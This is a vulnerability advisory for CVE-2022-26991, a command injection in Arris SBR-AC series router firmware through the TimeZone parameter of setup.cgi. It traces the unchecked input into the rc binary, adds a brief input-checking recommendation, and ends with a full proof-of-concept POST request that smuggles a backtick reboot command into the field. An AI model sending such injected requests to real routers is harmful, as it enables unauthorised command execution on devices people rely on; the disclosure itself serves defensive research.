Headline
CVE-2022-26991: my_vuln/6.md at main · wudipjq/my_vuln
Arris routers SBR-AC1900P 1.0.7-B05, SBR-AC3200P 1.0.7-B05 and SBR-AC1200P 1.0.5-B05 were discovered to contain a command injection vulnerability in the ntp function via the TimeZone parameter. This vulnerability allows attackers to execute arbitrary commands via a crafted request.
ARRIS Vulnerability
Vendor:ARRIS
Product:SBR-AC1900P、SBR-AC3200P、SBR-AC1200P
Version:1.0.7-B05(Download Link:https://arris.secure.force.com/consumers/ConsumerProductDetail?p=a0ha000000REKViAAP&c=SURFboard%20Routers#panel4)
1.0.7-B05(Download Link:https://arris.secure.force.com/consumers/ConsumerProductDetail?p=a0ha000000OlajgAAB&c=SURFboard%20Routers#panel4)
1.0.5-B05(Download Link:https://arris.secure.force.com/consumers/ConsumerProductDetail?p=a0ha000000RpnMpAAJ&c=SURFboard%20Routers#panel4)
Type:Remote Command Execution
Author:Jiaqian Peng
Institution:[email protected]
Vulnerability description
We found an Command Injection vulnerability in ARRIS router with firmware which was released recently, allows remote attackers to execute arbitrary OS commands from a crafted request.
Remote Command Execution
In setup.cgi
binary:
In the router’s ntp
function, TimeZone
is directly passed by the attacker, so we can control the TimeZone
to attack the OS.
As you can see here, the input has not been checked.And then,call the function scnvram_set
to store this input.
In rc
binary:
As you can see here, in sub_1666C
function, the initial input has not checked and cause command injection.
Supplement
In order to avoid such problems, we believe that the string content should be checked in the input extraction part.
Complete vulnerability verification on SBR-AC1900P product
PoC
We set TimeZone
as %60%2Fusr%2Fsbin%2Freboot%60 , The meaning of this command is /usr/sbin/reboot
,and the router will excute it,such as:
POST /setup.cgi?id=37707b3e HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 100 Origin: http://192.168.1.1 Connection: close Referer: http://192.168.1.1/Timezone.htm Cookie: RebootType=1; PrimaryRadio_backup=0; PrimaryRadio=0 Upgrade-Insecure-Requests: 1
TimeZone=%60%2Fusr%2Fsbin%2Freboot%60&DaylightSaving=0&this_file=Timezone.htm&next_file=Timezone.htm
Result